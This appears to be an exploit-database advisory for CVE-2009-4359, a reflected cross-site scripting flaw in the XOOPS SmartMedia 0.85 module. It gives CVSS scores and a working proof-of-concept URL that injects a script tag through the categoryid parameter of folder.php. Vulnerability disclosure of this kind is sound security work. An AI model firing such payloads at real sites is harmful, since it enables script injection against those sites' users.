XOOPS Module Smartmedia XSS

2009.12.21
Credit: SoldierOfAllah
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2009-4359
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

############################### # Exploit Title: XOOPS Module Smartmedia XSS # Version : SmartMedia 0.85 # Date: 2009-11-30 # Discovred By : SoldierOfAllah # Software Link: http://dev.xoops.org/dl/smartmedia/5 - Beta and RC Releases/SmartMedia 0.85 Beta/XOOPS2_mod_smartmedia_0.85_BETA_smartfactory.zip # CVE-ID: () ############################### /************************************************************************** [ Software Information ] [+] Xoops Module Smartmedia XSS Vulnerability [+] Author : SoldierOfAllah ( H@Ck3r.cc) [+] Homepage : http://www.m4r0c-s3curity.cc & www.owned-m.com [+] Date : November 30, 2009 **************************************************************************/ ## EXPLOIT : -==XSS==- http://server/[path]/modules/smartmedia/folder.php?categoryid=[XSS] [XSS] = 1>"><ScRiPt>alert(0);</ScRiPt>&folderid=1&start=0 ----------------------------------------------- Website for Test : http://server/modules/smartmedia/folder.php?categoryid=1>"><ScRiPt>alert(0);</ScRiPt>&folderid=1&start=0 =========================================================================================================== [ QUOTE ] [+] don't forget : Knowledge is not an object, its a flow ! :) ###############################################################################


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top